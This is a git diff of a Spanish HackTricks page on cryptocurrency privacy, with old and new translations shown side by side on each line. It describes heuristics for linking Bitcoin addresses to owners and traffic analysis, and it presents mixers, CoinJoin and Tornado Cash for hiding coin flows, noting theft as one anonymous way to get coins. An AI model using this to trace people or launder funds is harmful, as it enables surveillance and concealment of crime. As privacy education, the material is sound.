**UTXO** significa **Salidas de Transacción No Gastadas** (UTXOs). En una transacción que utiliza la salida de una transacción anterior como entrada, se **debe gastar toda la salida** (para evitar ataques de doble gasto). Por lo tanto, si la intención era **enviar** solo **parte** del dinero de esa salida a una dirección y **conservar** la **otra parte**, aparecerán **2 salidas diferentes**: la **destinada** y una **nueva dirección de cambio aleatoria** donde se guardará el resto del dinero. **UTXO** significa **Salidas de Transacción No Gastadas** (UTXOs). En una transacción que utiliza la salida de una transacción anterior como entrada, **toda la salida debe ser gastada** (para evitar ataques de doble gasto). Por lo tanto, si la intención era **enviar** solo **parte** del dinero de esa salida a una dirección y **mantener** la **otra** **parte**, aparecerán **2 salidas diferentes**: la **intencionada** y una **nueva dirección de cambio aleatoria** donde se guardará el resto del dinero.
Entonces, un observador puede asumir que **la nueva dirección de cambio generada pertenece al propietario del UTXO**. Entonces, un observador puede asumir que **la nueva dirección de cambio generada pertenece al propietario del UTXO**.
## Redes Sociales & Foros ## Redes Sociales y Foros
Algunas personas dan datos sobre sus direcciones de bitcoin en diferentes sitios web en Internet. **Esto hace bastante fácil identificar al propietario de una dirección**. Algunas personas comparten datos sobre sus direcciones de bitcoin en diferentes sitios web en Internet. **Esto hace bastante fácil identificar al propietario de una dirección**.
## Gráficos de Transacciones ## Gráficos de Transacciones
Al representar las transacciones en gráficos, **es posible saber con cierta probabilidad hacia dónde fue el dinero de una cuenta**. Por lo tanto, es posible saber algo sobre **usuarios** que están **relacionados** en la blockchain. Al representar las transacciones en gráficos, **es posible saber con cierta probabilidad a dónde fueron a parar los fondos de una cuenta**. Por lo tanto, es posible saber algo sobre los **usuarios** que están **relacionados** en la cadena de bloques.
## **Heurística de entrada innecesaria** ## **Heurística de Entrada Innecesaria**
También llamada la "heurística de cambio óptimo". Considere esta transacción de bitcoin. Tiene dos entradas por valor de 2 BTC y 3 BTC y dos salidas por valor de 4 BTC y 1 BTC. También llamada "heurística de cambio óptimo". Considera esta transacción de bitcoin. Tiene dos entradas por un valor de 2 BTC y 3 BTC y dos salidas por un valor de 4 BTC y 1 BTC.
``` ```
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 1 btc 3 btc 1 btc
``` ```
Asumiendo que una de las salidas es el cambio y la otra salida es el pago. Hay dos interpretaciones: la salida del pago es o bien la salida de 4 BTC o la salida de 1 BTC. Pero si la salida de 1 BTC es la cantidad del pago, entonces la entrada de 3 BTC es innecesaria, ya que la billetera podría haber gastado solo la entrada de 2 BTC y haber pagado comisiones de mineros más bajas por hacerlo. Esto indica que la salida de pago real es de 4 BTC y que 1 BTC es la salida de cambio. Suponiendo que una de las salidas es el cambio y la otra salida es el pago. Hay dos interpretaciones: la salida de pago es o bien la salida de 4 BTC o la salida de 1 BTC. Pero si la salida de 1 BTC es la cantidad de pago, entonces la entrada de 3 BTC es innecesaria, ya que la billetera podría haber gastado solo la entrada de 2 BTC y pagado tarifas de minero más bajas por hacerlo. Esto indica que la salida real de pago es de 4 BTC y que 1 BTC es la salida de cambio.
Este es un problema para las transacciones que tienen más de una entrada. Una forma de solucionar esta fuga es agregar más entradas hasta que la salida de cambio sea mayor que cualquier entrada, por ejemplo: Esto es un problema para transacciones que tienen más de una entrada. Una forma de solucionar esta fuga es agregar más entradas hasta que la salida de cambio sea mayor que cualquier entrada, por ejemplo:
``` ```
2 btc --> 4 btc 2 btc --> 4 btc
3 btc 6 btc 3 btc 6 btc
@ -140,142 +140,142 @@ Este es un problema para las transacciones que tienen más de una entrada. Una f
``` ```
## Reutilización forzada de direcciones ## Reutilización forzada de direcciones
La **reutilización forzada de direcciones** o **reutilización incentivada de direcciones** es cuando un adversario paga una cantidad (a menudo pequeña) de bitcoin a direcciones que ya se han utilizado en la cadena de bloques. El adversario espera que los usuarios o su software de billetera **utilicen los pagos como entradas para una transacción más grande que revelará otras direcciones a través de la heurística de propiedad común de entrada**. Estos pagos pueden entenderse como una forma de coaccionar al propietario de la dirección para que reutilice la dirección sin intención. La **reutilización forzada de direcciones** o **reutilización incentivada de direcciones** ocurre cuando un adversario paga una cantidad (a menudo pequeña) de bitcoin a direcciones que ya han sido utilizadas en la cadena de bloques. El adversario espera que los usuarios o su software de billetera **utilicen los pagos como insumos para una transacción más grande que revelará otras direcciones a través de la heurística de propiedad de entrada común**. Estos pagos pueden entenderse como una forma de obligar al propietario de la dirección a una reutilización de direcciones no intencional.
Este ataque a veces se llama incorrectamente un **ataque de polvo**. A veces, este ataque se llama incorrectamente **ataque de polvo**.
El comportamiento correcto por parte de las billeteras es no gastar monedas que han llegado a direcciones ya utilizadas y vacías. El comportamiento correcto de las billeteras es no gastar monedas que hayan llegado a direcciones vacías ya utilizadas.
## Otras análisis de Blockchain ## Otras Análisis de Blockchain
* **Cantidades exactas de pago**: Para evitar transacciones con cambio, el pago debe ser igual al UTXO (lo cual es muy inesperado). Por lo tanto, una **transacción sin dirección de cambio probablemente sea una transferencia entre 2 direcciones del mismo usuario**. * **Montos de pago exactos**: Para evitar transacciones con cambio, el pago debe ser igual al UTXO (lo cual es altamente inesperado). Por lo tanto, una **transacción sin dirección de cambio probablemente sea una transferencia entre 2 direcciones del mismo usuario**.
* **Números redondos**: En una transacción, si una de las salidas es un "**número redondo**", es muy probable que este sea un **pago a un humano que puso ese precio** de "número redondo", por lo que la otra parte debe ser el sobrante. * **Números redondos**: En una transacción, si una de las salidas es un "**número redondo**", es altamente probable que sea un **pago a un humano que colocó ese** "número redondo" **de precio**, por lo que la otra parte debe ser el sobrante.
* **Huella digital de billetera:** Un analista cuidadoso a veces puede deducir qué software creó una cierta transacción, porque los **diferentes softwares de billetera no siempre crean transacciones de exactamente la misma manera**. La huella digital de billetera se puede utilizar para detectar salidas de cambio porque una salida de cambio es la que se gasta con la misma huella digital de billetera. * **Identificación de billeteras**: Un analista cuidadoso a veces puede deducir qué software creó una determinada transacción, ya que los **diferentes softwares de billeteras no siempre crean transacciones de la misma manera**. La identificación de billeteras se puede utilizar para detectar salidas de cambio porque una salida de cambio es aquella gastada con la misma identificación de billetera.
* **Correlaciones de cantidad y tiempo**: Si la persona que realizó la transacción **divulga** el **tiempo** y/o la **cantidad** de la transacción, puede ser fácilmente **descubrible**. * **Correlaciones de monto y tiempo**: Si la persona que realizó la transacción **revela** el **tiempo** y/o **monto** de la transacción, puede ser fácilmente **descubrible**.
## Análisis de tráfico ## Análisis de tráfico
Una organización que **intercepte su tráfico** puede verle comunicándose en la red de bitcoin.\ Algunas organizaciones que **interceptan su tráfico** pueden ver que usted está comunicándose en la red de bitcoin.\
Si el adversario ve una transacción o bloque **saliendo de su nodo que no entró previamente**, entonces puede saber con casi certeza que **la transacción fue realizada por usted o el bloque fue minado por usted**. Como se involucran conexiones a Internet, el adversario podrá **vincular la dirección IP con la información de bitcoin descubierta**. Si el adversario ve una transacción o bloque **saliendo de su nodo que no había entrado previamente**, entonces puede saber con casi total certeza que **la transacción fue realizada por usted o el bloque fue minado por usted**. Dado que las conexiones a Internet están involucradas, el adversario podrá **vincular la dirección IP con la información de bitcoin descubierta**.
Un atacante que no pueda interceptar todo el tráfico de Internet pero que tenga **muchos nodos de Bitcoin** para estar **más cerca** de las **fuentes** podría ser capaz de conocer la dirección IP que está anunciando transacciones o bloques.\ Un atacante que no puede interceptar todo el tráfico de Internet pero que tiene **muchos nodos de Bitcoin** para permanecer **más cerca** de las fuentes podría ser capaz de conocer las direcciones IP que están anunciando transacciones o bloques.\
Además, algunas billeteras retransmiten periódicamente sus transacciones no confirmadas para que sean más propensas a propagarse ampliamente a través de la red y ser minadas. Además, algunas billeteras retransmiten periódicamente sus transacciones no confirmadas para que tengan más probabilidades de propagarse ampliamente a través de la red y ser minadas.
## Otros ataques para encontrar información sobre el propietario de direcciones ## Otros ataques para encontrar información sobre el propietario de direcciones
Para más ataques lea [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy) Para más ataques, leer [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy)
# Bitcoins Anónimos # Bitcoins Anónimos
## Obtención de Bitcoins de forma anónima ## Obtención de Bitcoins de forma anónima
* **Comercio con efectivo:** Compre bitcoin con efectivo. * **Intercambios en efectivo:** Comprar bitcoins usando efectivo.
* **Sustituto de efectivo:** Compre tarjetas de regalo o similares e intercámbielas por bitcoin en línea. * **Sustituto de efectivo:** Comprar tarjetas de regalo u similares e intercambiarlas por bitcoins en línea.
* **Minería:** La minería es la forma más anónima de obtener bitcoin. Esto se aplica a la minería en solitario ya que los [pools de minería](https://en.bitcoin.it/wiki/Pooled\_mining) generalmente conocen la dirección IP del minero. * **Minería:** La minería es la forma más anónima de obtener bitcoins. Esto se aplica a la minería en solitario ya que los [pools de minería](https://en.bitcoin.it/wiki/Pooled\_mining) generalmente conocen la dirección IP del minero.
* **Robo:** En teoría, otra forma de obtener bitcoin anónimamente es robarlos. * **Robo:** En teoría, otra forma de obtener bitcoin de forma anónima es robándolos.
## Mezcladores ## Mezcladores
Un usuario **enviaría bitcoins a un servicio de mezcla** y el servicio **devolvería diferentes bitcoins al usuario**, menos una comisión. En teoría, un adversario que observa la cadena de bloques sería **incapaz de vincular** las transacciones entrantes y salientes. Un usuario **enviaría bitcoins a un servicio de mezcla** y el servicio **enviaría diferentes bitcoins de vuelta al usuario**, menos una tarifa. En teoría, un adversario que observe la cadena de bloques sería **incapaz de vincular** las transacciones entrantes y salientes.
Sin embargo, el usuario necesita confiar en el servicio de mezcla para que devuelva los bitcoin y también para que no guarde registros sobre las relaciones entre el dinero recibido y enviado.\ Sin embargo, el usuario debe confiar en el servicio de mezcla para devolver los bitcoins y también para no estar guardando registros sobre las relaciones entre el dinero recibido y enviado.\
Otros servicios también pueden usarse como mezcladores, como los casinos de Bitcoin donde puedes enviar bitcoins y recuperarlos más tarde. Algunos otros servicios también pueden usarse como mezcladores, como los casinos de Bitcoin donde se pueden enviar bitcoins y recuperarlos más tarde.
## CoinJoin ## CoinJoin
**CoinJoin** **mezclará varias transacciones de diferentes usuarios en solo una** para hacer más **difícil** para un observador averiguar **qué entrada está relacionada con qué salida**.\ **CoinJoin** **mezclará varias transacciones de diferentes usuarios en solo una** para hacer más **difícil** para un observador encontrar **qué entrada está relacionada con qué salida**.\
Esto ofrece un nuevo nivel de privacidad, sin embargo, **algunas** **transacciones** donde algunas cantidades de entrada y salida están correlacionadas o son muy diferentes del resto de las entradas y salidas **todavía pueden ser correlacionadas** por el observador externo. Esto ofrece un nuevo nivel de privacidad, sin embargo, **algunas** **transacciones** donde algunos montos de entrada y salida están correlacionados o son muy diferentes del resto de las entradas y salidas **todavía pueden ser correlacionadas** por el observador externo.
Ejemplos de identificadores de transacciones (probablemente) CoinJoin en la cadena de bloques de bitcoin son `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` y `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. Ejemplos de IDs de transacciones (probablemente) CoinJoin en la cadena de bloques de bitcoin son `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` y `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
[**https://coinjoin.io/en**](https://coinjoin.io/en)\ [**https://coinjoin.io/en**](https://coinjoin.io/en)\
**Similar a coinjoin pero mejor y para ethereum tienes** [**Tornado Cash**](https://tornado.cash) **(el dinero lo proporcionan los mineros, así que simplemente aparece en tu billetera).** **Similar a CoinJoin pero mejor y para ethereum tienes** [**Tornado Cash**](https://tornado.cash) **(el dinero es proporcionado por los mineros, por lo que simplemente aparece en tu billetera).**
## PayJoin ## PayJoin
El tipo de CoinJoin discutido en la sección anterior puede ser fácilmente identificado como tal al buscar las múltiples salidas con el mismo valor. El tipo de CoinJoin discutido en la sección anterior puede identificarse fácilmente como tal al verificar las múltiples salidas con el mismo valor.
PayJoin (también llamado pago-a-punto-final o P2EP) es un tipo especial de CoinJoin entre dos partes donde una parte paga a la otra. La transacción entonces **no tiene las distintivas múltiples salidas** con el mismo valor, y por lo tanto no es obviamente visible como un CoinJoin de salidas iguales. Considere esta transacción: PayJoin (también llamado pago al punto final o P2EP) es un tipo especial de CoinJoin entre dos partes donde una parte paga a la otra. La transacción entonces **no tiene las múltiples salidas distintivas** con el mismo valor, por lo que no es visible de manera obvia como un CoinJoin de salidas iguales. Considere esta transacción:
``` ```
2 btc --> 3 btc 2 btc --> 3 btc
5 btc 4 btc 5 btc 4 btc
``` ```
Podría interpretarse como una simple transacción que paga a algún lugar con cambio sobrante (ignora por ahora la pregunta de cuál salida es el pago y cuál es el cambio). Otra forma de interpretar esta transacción es que la entrada de 2 BTC es propiedad de un comerciante y 5 BTC es propiedad de su cliente, y que esta transacción implica que el cliente paga 1 BTC al comerciante. No hay forma de saber cuál de estas dos interpretaciones es correcta. El resultado es una transacción coinjoin que rompe la heurística de propiedad común de entrada y mejora la privacidad, pero también es **indetectable e indistinguible de cualquier transacción regular de bitcoin**. Podría interpretarse como una simple transacción pagando a algún lugar con cambio sobrante (ignorando por ahora la cuestión de cuál salida es el pago y cuál es el cambio). Otra forma de interpretar esta transacción es que la entrada de 2 BTC es propiedad de un comerciante y 5 BTC es propiedad de su cliente, y que esta transacción implica que el cliente pague 1 BTC al comerciante. No hay forma de saber cuál de estas dos interpretaciones es correcta. El resultado es una transacción de coinjoin que rompe la heurística común de propiedad de entrada y mejora la privacidad, pero también es **indetectable e indistinguible de cualquier transacción de bitcoin regular**.
Si las transacciones PayJoin se utilizaran incluso moderadamente, harían que la **heurística de propiedad común de entrada fuera completamente defectuosa en la práctica**. Como son indetectables, ni siquiera sabríamos si se están utilizando hoy en día. Dado que las empresas de vigilancia de transacciones dependen principalmente de esa heurística, a partir de 2019 hay una gran expectación sobre la idea de PayJoin. Si las transacciones PayJoin se utilizan moderadamente, harían que la **heurística común de propiedad de entrada sea completamente defectuosa en la práctica**. Como son indetectables, ni siquiera sabríamos si se están utilizando hoy en día. Dado que las empresas de vigilancia de transacciones dependen en su mayoría de esa heurística, a partir de 2019 hay un gran entusiasmo por la idea de PayJoin.
# Buenas Prácticas de Privacidad en Bitcoin # Buenas Prácticas de Privacidad en Bitcoin
## Sincronización de Cartera ## Sincronización de Monederos
Las carteras de Bitcoin deben obtener de alguna manera información sobre su saldo e historial. A finales de 2018, las soluciones existentes más prácticas y privadas son usar una **cartera de nodo completo** (que es máximamente privada) y **filtrado de bloques del lado del cliente** (que es muy bueno). Los monederos de Bitcoin deben obtener de alguna manera información sobre su saldo e historial. A finales de 2018, las soluciones existentes más prácticas y privadas son usar un **monedero de nodo completo** (que es máximo privado) y **filtrado de bloques del lado del cliente** (que es muy bueno).
* **Nodo completo:** Los nodos completos descargan toda la blockchain, que contiene cada [transacción](https://en.bitcoin.it/wiki/Transaction) en cadena que ha ocurrido en bitcoin. Por lo tanto, un adversario que observe la conexión a internet del usuario no podrá saber qué transacciones o direcciones le interesan al usuario. * **Nodo completo:** Los nodos completos descargan toda la cadena de bloques que contiene cada [transacción en cadena](https://en.bitcoin.it/wiki/Transaction) que ha ocurrido en bitcoin. Por lo tanto, un adversario que observe la conexión a internet del usuario no podrá saber qué transacciones o direcciones le interesan al usuario.
* **Filtrado de bloques del lado del cliente:** El filtrado de bloques del lado del cliente funciona creando **filtros** que contienen todas las **direcciones** para cada transacción en un bloque. Los filtros pueden probar si un **elemento está en el conjunto**; son posibles falsos positivos pero no falsos negativos. Una cartera ligera **descargaría** todos los filtros para cada **bloque** en la **blockchain** y buscaría coincidencias con sus **propias** **direcciones**. Los bloques que contengan coincidencias se descargarían completamente de la red peer-to-peer, y esos bloques se utilizarían para obtener el historial y el saldo actual de la cartera. * **Filtrado de bloques del lado del cliente:** El filtrado de bloques del lado del cliente funciona creando **filtros** que contienen todas las **direcciones** de cada transacción en un bloque. Los filtros pueden probar si un **elemento está en el conjunto**; los falsos positivos son posibles pero no los falsos negativos. Un monedero ligero **descargaría** todos los filtros de cada **bloque** en la **cadena de bloques** y verificaría si hay coincidencias con sus **propias** **direcciones**. Los bloques que contienen coincidencias se descargarían por completo de la red peer-to-peer, y esos bloques se usarían para obtener el historial y el saldo actual del monedero.
## Tor ## Tor
La red Bitcoin utiliza una red peer-to-peer, lo que significa que otros pares pueden conocer tu dirección IP. Por eso se recomienda **conectarse a través de Tor cada vez que quieras interactuar con la red de bitcoin**. La red de Bitcoin utiliza una red peer-to-peer, lo que significa que otros pares pueden conocer tu dirección IP. Por eso se recomienda **conectarse a través de Tor cada vez que desees interactuar con la red de Bitcoin**.
## Evitar la reutilización de direcciones ## Evitar la reutilización de direcciones
**El uso de direcciones más de una vez es muy perjudicial para la privacidad porque eso vincula más transacciones de la blockchain con la prueba de que fueron creadas por la misma entidad**. La forma más privada y segura de usar bitcoin es enviar una **nueva dirección a cada persona que te pague**. Una vez que se hayan gastado las monedas recibidas, la dirección nunca debería usarse de nuevo. Además, se debe exigir una nueva dirección de bitcoin al enviar bitcoin. Todas las buenas carteras de bitcoin tienen una interfaz de usuario que desalienta la reutilización de direcciones. **La reutilización de direcciones es muy perjudicial para la privacidad porque vincula más transacciones en la cadena de bloques con la prueba de que fueron creadas por la misma entidad**. La forma más privada y segura de usar Bitcoin es enviar una **nueva dirección a cada persona que te pague**. Después de que las monedas recibidas hayan sido gastadas, la dirección nunca debería usarse de nuevo. Además, se debe exigir una nueva dirección de Bitcoin al enviar bitcoins. Todos los buenos monederos de Bitcoin tienen una interfaz de usuario que desalienta la reutilización de direcciones.
## Múltiples transacciones ## Múltiples transacciones
**Pagar** a alguien con **más de una transacción en cadena** puede reducir enormemente el poder de los ataques de privacidad basados en montos, como la correlación de montos y números redondos. Por ejemplo, si el usuario quiere pagar 5 BTC a alguien y no quiere que el valor de 5 BTC sea fácilmente buscable, entonces pueden enviar dos transacciones por el valor de 2 BTC y 3 BTC que juntas suman 5 BTC. **Pagar** a alguien con **más de una transacción en cadena** puede reducir en gran medida el poder de los ataques de privacidad basados en la cantidad, como la correlación de cantidades y los números redondos. Por ejemplo, si el usuario quiere pagar 5 BTC a alguien y no quiere que el valor de 5 BTC sea fácilmente rastreable, entonces puede enviar dos transacciones por el valor de 2 BTC y 3 BTC que juntas suman 5 BTC.
## Evitar el cambio ## Evitar el cambio
La evitación de cambio es donde se eligen cuidadosamente las entradas y salidas de la transacción para no requerir una salida de cambio en absoluto. **No tener una salida de cambio es excelente para la privacidad**, ya que rompe las heurísticas de detección de cambio. Evitar el cambio es cuando las entradas y salidas de la transacción se eligen cuidadosamente para no requerir una salida de cambio en absoluto. **No tener una salida de cambio es excelente para la privacidad**, ya que rompe las heurísticas de detección de cambio.
## Múltiples salidas de cambio ## Múltiples salidas de cambio
Si la evitación de cambio no es una opción, entonces **crear más de una salida de cambio puede mejorar la privacidad**. Esto también rompe las heurísticas de detección de cambio que generalmente asumen que solo hay una salida de cambio. Como este método utiliza más espacio de bloque que lo habitual, la evitación de cambio es preferible. Si evitar el cambio no es una opción, **crear más de una salida de cambio puede mejorar la privacidad**. Esto también rompe las heurísticas de detección de cambio que suelen asumir que solo hay una salida de cambio. Dado que este método utiliza más espacio de bloque de lo habitual, evitar el cambio es preferible.
# Monero # Monero
Cuando se desarrolló Monero, la necesidad apremiante de **anonimato completo** fue lo que buscó resolver, y en gran medida, ha llenado ese vacío. Cuando se desarrolló Monero, la gran necesidad de **anonimato completo** fue lo que buscó resolver, y en gran medida, ha llenado ese vacío.
# Ethereum # Ethereum
## Gas ## Gas
Gas se refiere a la unidad que mide la **cantidad** de **esfuerzo computacional** requerido para ejecutar operaciones específicas en la red Ethereum. Gas se refiere a la **tarifa** requerida para llevar a cabo con éxito una **transacción** en Ethereum. Gas se refiere a la unidad que mide la **cantidad** de **esfuerzo computacional** requerido para ejecutar operaciones específicas en la red Ethereum. Gas se refiere a la **tarifa** requerida para realizar con éxito una **transacción** en Ethereum.
Los precios del gas se denotan en **gwei**, que es una denominación de ETH - cada gwei es igual a **0.000000001 ETH** (10-9 ETH). Por ejemplo, en lugar de decir que tu gas cuesta 0.000000001 ether, puedes decir que tu gas cuesta 1 gwei. La palabra 'gwei' significa 'giga-wei', y es igual a **1,000,000,000 wei**. Wei es la **unidad más pequeña de ETH**. Los precios de gas se indican en **gwei**, que a su vez es una denominación de ETH: cada gwei es igual a **0.000000001 ETH** (10-9 ETH). Por ejemplo, en lugar de decir que tu gas cuesta 0.000000001 ether, puedes decir que tu gas cuesta 1 gwei. La palabra 'gwei' en sí misma significa 'giga-wei', y es igual a **1,000,000,000 wei**. Wei en sí es la **unidad más pequeña de ETH**.
Para calcular el gas que va a costar una transacción lee este ejemplo: Para calcular el gas que va a costar una transacción, lee este ejemplo:
Digamos que Jordan tiene que pagarle a Taylor 1 ETH. En la transacción el límite de gas es de 21,000 unidades y la tarifa base es de 100 gwei. Jordan incluye una propina de 10 gwei. Supongamos que Jordan tiene que pagarle a Taylor 1 ETH. En la transacción, el límite de gas es de 21,000 unidades y la tarifa base es de 100 gwei. Jordan incluye una propina de 10 gwei.
Usando la fórmula anterior podemos calcular esto como `21,000 * (100 + 10) = 2,310,000 gwei` o 0.00231 ETH. Usando la fórmula anterior, podemos calcular esto como `21,000 * (100 + 10) = 2,310,000 gwei` o 0.00231 ETH.
Cuando Jordan envíe el dinero, se deducirán 1.00231 ETH de la cuenta de Jordan. Taylor será acreditado con 1.0000 ETH. El minero recibe la propina de 0.00021 ETH. La tarifa base de 0.0021 ETH se quema. Cuando Jordan envía el dinero, se deducirán 1.00231 ETH de la cuenta de Jordan. Taylor recibirá 1.0000 ETH. El minero recibirá la propina de 0.00021 ETH. La tarifa base de 0.0021 ETH se quema.
Además, Jordan también puede establecer una tarifa máxima (`maxFeePerGas`) para la transacción. La diferencia entre la tarifa máxima y la tarifa real se reembolsa a Jordan, es decir, `reembolso = tarifa máxima - (tarifa base + tarifa de prioridad)`. Jordan puede establecer una cantidad máxima a pagar por la transacción para ejecutarse y no preocuparse por pagar de más "más allá" de la tarifa base cuando se ejecute la transacción. Además, Jordan también puede establecer una tarifa máxima (`maxFeePerGas`) para la transacción. La diferencia entre la tarifa máxima y la tarifa real se reembolsa a Jordan, es decir, `reembolso = tarifa máxima - (tarifa base + tarifa de prioridad)`. Jordan puede establecer un monto máximo a pagar por la ejecución de la transacción y no preocuparse por pagar en exceso "más allá" de la tarifa base cuando se ejecute la transacción.
Dado que la tarifa base es calculada por la red basada en la demanda de espacio de bloque, este último parámetro: maxFeePerGas ayuda a controlar la tarifa máxima que se va a pagar. Dado que la tarifa base se calcula por la red en función de la demanda de espacio de bloque, este último parámetro: maxFeePerGas ayuda a controlar la tarifa máxima que se va a pagar.
## Transacciones ## Transacciones
Ten en cuenta que en la red de **Ethereum** una transacción se realiza entre 2 direcciones y estas pueden ser **direcciones de usuario o de contrato inteligente**.\ Ten en cuenta que en la red **Ethereum** una transacción se realiza entre 2 direcciones y estas pueden ser **direcciones de usuario o de contratos inteligentes**.\
Los **Contratos Inteligentes** se almacenan en el libro mayor distribuido a través de una **transacción** **especial**. Los **Contratos Inteligentes** se almacenan en el libro mayor distribuido a través de una **transacción especial**.
Las transacciones, que cambian el estado de la EVM, necesitan ser transmitidas a toda la red. Cualquier nodo puede transmitir una solicitud para que se ejecute una transacción en la EVM; después de que esto suceda, un **minero** **ejecutará** la **transacción** y propagará el cambio de estado resultante al resto de la red.\ Las transacciones, que cambian el estado del EVM, deben ser difundidas a toda la red. Cualquier nodo puede difundir una solicitud para que se ejecute una transacción en el EVM; después de que esto sucede, un **minero** ejecutará la **transacción** y propagará el cambio de estado resultante al resto de la red.\
Las transacciones requieren una **tarifa** y deben ser minadas para ser válidas. Las transacciones requieren una **tarifa** y deben ser minadas para ser válidas.
Una transacción enviada incluye la siguiente información: Una transacción enviada incluye la siguiente información:
* `recipient` la dirección receptora (si es una cuenta de propiedad externa, la transacción transferirá valor. Si es una cuenta de contrato, la transacción ejecutará el código del contrato) * `destinatario` la dirección receptora (si es una cuenta de propiedad externa, la transacción transferirá valor. Si es una cuenta de contrato, la transacción ejecutará el código del contrato)
* `signature` el identificador del remitente. Esto se genera cuando la clave privada del remitente firma la transacción y confirma que el remitente ha autorizado esta transacción * `firma` el identificador del remitente. Esto se genera cuando la clave privada del remitente firma la transacción y confirma que el remitente ha autorizado esta transacción
* `value` cantidad de ETH para transferir del remitente al receptor (en WEI, una denominación de ETH) * `valor` cantidad de ETH a transferir del remitente al destinatario (en WEI, una denominación de ETH)
* `data` campo opcional para incluir datos arbitrarios * `datos` campo opcional para incluir datos arbitrarios
* `gasLimit` la cantidad máxima de unidades de gas que puede consumir la transacción. Las unidades de gas representan pasos computacionales * `gasLimit` la cantidad máxima de unidades de gas que puede consumir la transacción. Las unidades de gas representan pasos computacionales
* `maxPriorityFeePerGas` - la cantidad máxima de gas a incluir como propina al minero * `maxPriorityFeePerGas` - la cantidad máxima de gas que se incluirá como propina al minero
* `maxFeePerGas` - la cantidad máxima de gas dispuesta a pagar por la transacción (incluyendo `baseFeePerGas` y `maxPriorityFeePerGas`) * `maxFeePerGas` - la cantidad máxima de gas dispuesta a pagar por la transacción (incluida `baseFeePerGas` y `maxPriorityFeePerGas`)
Nota que no hay ningún campo para la dirección de origen, esto es porque esto se puede extrapolar de la firma. Ten en cuenta que no hay ningún campo para la dirección de origen, esto se debe a que esto se puede extrapolar de la firma.
# Referencias # Referencias
@ -285,18 +285,3 @@ Nota que no hay ningún campo para la dirección de origen, esto es porque esto
* [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/) * [https://ethereum.org/en/developers/docs/transactions/](https://ethereum.org/en/developers/docs/transactions/)
* [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/) * [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
* [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse) * [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced\_address\_reuse)
<details>
<summary><strong>¡Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en github.
</details>

View file

@ -2,55 +2,55 @@
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Aprende hacking en AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks: Otras formas de apoyar a HackTricks:
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos * Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
